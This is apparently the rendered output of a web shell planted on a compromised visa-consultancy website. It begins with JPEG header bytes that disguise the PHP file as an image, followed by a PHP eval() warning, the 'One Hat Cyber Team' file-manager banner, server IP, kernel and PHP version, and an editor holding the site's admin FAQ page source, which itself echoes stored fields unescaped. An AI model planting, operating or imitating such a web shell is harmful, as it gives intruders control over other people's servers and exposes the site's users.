����JFIF��H�H�����C� %# , #&')*)-0-(0%()(���C (((((((((((((((((((((((((((((((((((((((((((((((((((�������������������������������������������������P������������������������A�!)10������""������"*��@��������#+�OK&������2�Ec�xo����"�P��B}���������������������:9:9=<G$���S,�"5�R2�i��ғ��3ʥ�3@�;":%885I@��e� E��"�H�Z���ς�Z9 .��������[+��M�������������������,��������0" !1234#$5@P`�������?�$|�,.,���1�:�Q��<(���Q�Xi�*3���|T��}h�� L,I�V��|�hoZ��9��ȅ*�+�%��Y_�|5fcq�A�<���"8#_i���x���|�pۨ��p�+a�Q�uoŝȡ`sޚ5�n���.�:v��]�Mk��E�Gh�Ѐ"��B���i�f�<��O:��J�ԍ]o�҈g��Zz�!Xg{<6R�{�x'��`M����?�[Z�ط#5y�t�L�7S�) �vX���^�݈���;=�@^���Ƽ��� �� h��5� ���\��������������������������?4������������������������?4�����4� �������!1"02AQqa 3B��#@P`r��������?��f`��Y�ʉ�j����Zkx��@N�JaS������}����r��t��SɁ�3�p�e��W*͎�z4v\�c����`zdg�dGu3�� ��=�2p*��#��l�9�<���A���Pu��k�������8� � �4k*;���������8���2�b��VӋE�t�[0�kmli�㵑39�i����2��o} mM����kF \�:2�+w{{���-��$xVRkEA�N�]�^�R�[ryeV�G*G4��m�mӃ�N�!��hF�v��I�R��D�_�Q�p��T[l��D�.nNӢ����O��˚�i7+�=�=8qJ���'����K�B{���K�͟e�5���:����e��1��w�m��[MA���č��Vj��mȵ�z)�� č��}��n�(���9��?���)��������!1AQ0aq��� ��@�P`����?!��@v�,c�֟$M��6_���⠾SD$��!�/Y��:�NQ���!�c(��^��b�y��u��+�.H�U$�%嗗��ry�N>��]����X0�2D�q�q}Z��˥4ao����M,E�؇Uq� �Ϙc�AC\��:�+R��-�/9�Z �O�A*��|��+,u�~�#G �B" ���D�X1��_�VwP���OY��"�d��+V�a�\�t�v�^��[��j�c3�^�f4 KTFS��cNI��F���x1F9 �m��@��YڭQ�+(��D��Dߵ[���$�M���&��D�Z�V��&ձGi�@�t}�к�/+�4����wd0Dh���� ��aa�M='�g�UK�M��7�M+�O}�� ��4�r�ԋ�t��g\F,0���k��aX���U� ��5y��6�@�2�� ��DmZ�V{�9]A�.m�EKZ��2 ���?���������I$�I$�I$�I$�I$�I$�I$�I$A$�I$�@$I$�I I$�I ��$�I$�I$I$�II$�I$� �I$�I$�I$�I�A$�I$� �I$��$�I @�I$�$�I$�I �@$�I$�I$�I$�I$�I$�����������������������?4������������������������?4�����+��������!1AQ�aq�0����� ��@P`����?�����(Ir��ʲo��(��#)�0�a �?&�4�0�~��4Տ���K�Fhg~�����թ̛]NH ����}��N��:��5{y���o�BNb���s������C��t��kM�)j*D��$<�������gN���C��s%A#�*��=�@`䠴�?T+�U}�b��ʩ� D+�ϪG����!������j_�*)C�_ЂG�%�ү�4�X��T���IH������0r�"�%\~�%aJ��3�����iԁ �_�!�G�d ;�O�=$ VXx�� ����B�KSZtk�&�#��)�p0�P��Q.��M�9!�ۋne)��ҧ����4'��4$��)�F�^�v��� ��1j�f�z�U�K0�m�V=AA&C����"��gzu%�`08[^���Us���7��нWźU��� �z����4)B��e-�HV%Hh7�ԑ��A(�>hP��\�%a�[lL�_n{Ґ���V4n�FX�D+��1Kt�Z��\��!2��)Y��9�Em8�,��_WeD3¢���a��zW��L�3���d^-�����A��}�Y�g�(A�бx�P>ƌH��ߤ;Vn�q������JH� ?�� A�0�H��E�������jV�U��&H����� ��I�b&3�MF@H��L�E� CV-k6 �T:W���&3y��-օ�cB�6�#�h�VL{Q�0 ���Y��
Warning
: Cannot modify header information - headers already sent by (output started at /home/apicalvisaexpert/public_html/admin/images/testimonial/blank2.php:1) in
/home/apicalvisaexpert/public_html/admin/images/testimonial/blank2.php(36) : eval()'d code(1) : eval()'d code
on line
2
One Hat Cyber Team
One Hat Cyber Team
Your IP :
3.16.214.145
Server IP :
148.72.206.43
Server :
Linux 148.72.206.43.host.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
Server Software :
Apache
PHP Version :
7.2.34
Buat File
|
Buat Folder
Dir :
~
/
home
/
apicalvisaexpert
/
public_html
/
admin
/
Edit File Name :
faq.php
<?php // Close the database connection include('main/header.php'); // Function to fetch all FAQs function getAllFAQs($conn) { $sql = "SELECT id, question, answer, category FROM faq"; $result = $conn->query($sql); $faqs = array(); if ($result->num_rows > 0) { while ($row = $result->fetch_assoc()) { $faqs[] = $row; } } return $faqs; } // Function to fetch a FAQ by ID function getFaqById($conn, $id) { $stmt = $conn->prepare("SELECT `id`, `question`, `answer`, `category` FROM `faq` WHERE `id` = ?"); $stmt->bind_param("i", $id); $stmt->execute(); $result = $stmt->get_result(); if ($result->num_rows > 0) { return $result->fetch_assoc(); } else { return null; // No FAQ found with the given ID } } // Function to insert a FAQ function insertFAQ($conn, $question, $answer, $category) { $stmt = $conn->prepare("INSERT INTO faq (question, answer, category) VALUES (?, ?, ?)"); $stmt->bind_param("sss", $question, $answer, $category); $stmt->execute(); $stmt->close(); } // Function to update a FAQ function updateFAQ($conn, $id, $question, $answer, $category) { $stmt = $conn->prepare("UPDATE faq SET question = ?, answer = ?, category = ? WHERE id = ?"); $stmt->bind_param("sssi", $question, $answer, $category, $id); $stmt->execute(); $stmt->close(); } // Function to delete a FAQ function deleteFAQ($conn, $id) { $stmt = $conn->prepare("DELETE FROM faq WHERE id = ?"); $stmt->bind_param("i", $id); $stmt->execute(); $stmt->close(); } // Fetch all FAQs $faqs = getAllFAQs($conn); // Check if 'edit' parameter is present in the URL if (isset($_GET['action']) && $_GET['action'] === 'edit' && isset($_GET['id'])) { $editFaq = getFaqById($conn, $_GET['id']); } // Within your POST request handling section if ($_SERVER["REQUEST_METHOD"] == "POST") { if ($_POST['action'] === 'insert') { insertFAQ($conn, $_POST['question'], $_POST['answer'], $_POST['category']); } elseif ($_POST['action'] === 'update') { // Ensure $conn is provided as an argument to updateFAQ() updateFAQ($conn, $_POST['record_id'], $_POST['question'], $_POST['answer'], $_POST['category']); } elseif ($_POST['action'] === 'delete') { deleteFAQ($conn, $_POST['record_id']); } // Fetch all FAQs after the action $faqs = getAllFAQs($conn); } ?> <body> <!-- LOADER --> <div id="loader"> <img src="build/assets/images/media/loader.svg" alt=""> </div> <!-- END LOADER --> <!-- PAGE --> <div class="page"> <?php include('main/top_header.php'); // Close the database connection include('main/leftbar.php'); ?> <!-- MAIN-CONTENT --> <div class="main-content app-content"> <div class="container-fluid"> <!-- Page Header --> <div class="d-md-flex d-block align-items-center justify-content-between my-4 page-header-breadcrumb"> <h1 class="page-title fw-semibold fs-18 mb-0">FAQ</h1> </div> <!-- Page Header Close --> <!-- Start:: row-1 --> <div class="row"> <div class="col-xl-12"> <div class="card custom-card"> <div class="card-header justify-content-between"> <div class="card-title"> FAQ </div> <div class="prism-toggle"> <button class="btn btn-sm btn-primary-light">Show Code<i class="ri-code-line ms-2 d-inline-block align-middle"></i></button> </div> </div> <div class="card-body"> <div class="row gy-4"> <form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>"> <input type="hidden" name="action" value="<?php echo isset($editFaq) ? 'update' : 'insert'; ?>"> <?php if (isset($editFaq)) : ?> <input type="hidden" name="record_id" value="<?php echo $editFaq['id']; ?>"> <?php endif; ?> <div class="col-xl-12"> <div class='form-group mb-4'> <label for='question'>Question:</label> <input type="text" class="form-control" name="question" placeholder="Question" value="<?php echo isset($editFaq) ? $editFaq['question'] : ''; ?>" > </div> <div class='form-group mb-4'> <label for='answer'>Answer:</label> <textarea id="answer" name="answer"><?php echo isset($editFaq) ? $editFaq['answer'] : ''; ?></textarea> </div> <div class='form-group mb-4'> <label for='category'>Category:</label> <input type="text" class="form-control" name="category" placeholder="Category" value="<?php echo isset($editFaq) ? $editFaq['category'] : ''; ?>"> </div> <button type='submit' class='btn btn-primary'><?php echo isset($editFaq) ? 'Update FAQ' : 'Add FAQ'; ?></button> </form> </div> </div> </div> </div> <div class="row"> <div class="col-xl-12"> <div class="card custom-card"> <div class="card-header justify-content-between"> <div class="card-title"> Products Overview </div> </div> <div class="card-body"> <div class="container mt-5"> <h2>FAQs</h2> <table class="table table-striped"> <thead> <tr> <th>S.No.</th> <th>Question</th> <th>Answer</th> <th>Category</th> <th>Actions</th> </tr> </thead> <tbody> <?php $serial = 1; ?> <?php foreach ($faqs as $faq) : ?> <tr> <td><?php echo $serial; ?></td> <td><?php echo $faq['question']; ?></td> <td><?php echo $faq['answer']; ?></td> <td><?php echo $faq['category']; ?></td> <td> <a href="?action=edit&id=<?php echo $faq['id']; ?>" class="btn btn-warning btn-sm">Edit</a> <form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>" class="d-inline"> <input type="hidden" name="action" value="delete"> <input type="hidden" name="record_id" value="<?php echo $faq['id']; ?>"> <button type="submit" class="btn btn-danger btn-sm" onclick="return confirm('Are you sure?')">Delete</button> </form> </td> </tr> <?php $serial++; ?> <?php endforeach; ?> </tbody> </table> </div> </div> </div> </div> </div> </div> <!-- End:: row-1 --> </div> </div> <!-- END MAIN-CONTENT --> </div> <?php // Close the database connection include('main/footer.php'); ?>
Save